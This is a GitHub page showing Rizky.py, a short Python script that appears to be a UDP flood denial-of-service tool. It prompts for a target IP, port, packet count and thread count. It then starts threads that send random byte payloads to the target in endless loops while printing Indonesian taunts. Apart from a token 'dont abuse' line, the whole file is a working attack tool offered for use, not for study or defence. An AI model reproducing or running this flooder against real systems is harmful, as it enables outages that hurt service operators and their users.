-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRizky.py
67 lines (62 loc) · 1.48 KB
/
Rizky.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import random
import socket
import threading
import os,sys
os.system("clear")
print("dont abuse")
print("Tools By こんにちは")
ip = str(input(" Target IP:"))
port = int(input(" Target Port:"))
choice = str(input(" (y/n):"))
times = int(input(" Packets :"))
threads = int(input(" Threads:"))
os.system("clear")
def run():
data = random._urandom(1080)
i = random.choice(("[•]","[•]","[•]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i +" XAL TEAM NIH BOSS!!!")
except:
print("[X] AMPUN BANG!!!")
def run2():
data = random._urandom(1025)
i = random.choice(("[•]","[•]","[•]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +" XAL TEAM NIH BOSS!!!")
except:
s.close()
print("[X] AMPUN BANG")
def run3():
data = random._urandom(16)
i = random.choice(("[•]","[•]","[•]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +" XAL TEAM NIH BOSS!!!")
except:
s.close()
print("[X] AMPUN BANG")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
th = threading.Thread(target = run2)
th.start()
else:
th = threading.Thread(target = run3)
th.start()